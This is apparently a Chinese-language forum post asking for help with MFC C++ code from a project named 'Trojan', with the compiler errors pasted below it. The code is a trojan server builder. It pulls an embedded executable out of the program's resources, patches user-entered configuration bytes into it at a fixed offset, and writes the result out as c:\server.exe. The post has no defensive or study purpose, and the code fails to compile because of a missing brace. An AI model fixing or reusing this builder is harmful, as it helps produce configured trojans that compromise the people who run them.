void CTrojanDlg::OnOK() 
{
// TODO: Add extra validation here
UpdateData();
if(server())
{
MessageBox("配置服务端成功");
}
else
{
MessageBox("生成服务端出错");
}
BOOL CTrojanDlg::server()
{
  HRSRC finds=FindResource(NULL,MAKEINTRESOURCE(IDR_EXE1),"EXE");//查找资源
  DWORD size=SizeofResource(NULL,finds);//获得资源大小
  HGLOBAL load=LoadResource(NULL,finds);//载入资源
  LPBYTE p=(LPBYTE)GlobalAlloc(GPTR,size);//申请内存
  CopyMemory((LPVOID)p,(LPVOID)LockResource(load),size);//拷贝资源
  TCHAR a[100];
  strcpy(a,m_edit1.GetBuffer(m_edit1.GetLength()));  //这句怎么解释呢?
  CopyMemory((LPVOID)(p+0x003A4),(LPCVOID)a,10);
  HANDLE greate1=CreateFile("c:\\server.exe",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件
  DWORD dws;
  WriteFile(greate1,(LPVOID)p,size,&dws,NULL);//写入文件
  CloseHandle(greate1);//关闭句柄
  GlobalFree((HGLOBAL)p);//释放内存
  return true;
}------------------------------------------------------------------
以上的是代码-------------------------------以下是错误信息-------------------------
--------------------Configuration: Trojan - Win32 Release--------------------
Compiling...
TrojanDlg.cpp
C:\Documents and Settings\Administrator\桌面\Trojan\TrojanDlg.cpp(204) : error C2601: 'server' : local function definitions are illegal
C:\Documents and Settings\Administrator\桌面\Trojan\TrojanDlg.cpp(220) : fatal error C1004: unexpected end of file found
Error executing cl.exe.Trojan.exe - 2 error(s), 0 warning(s)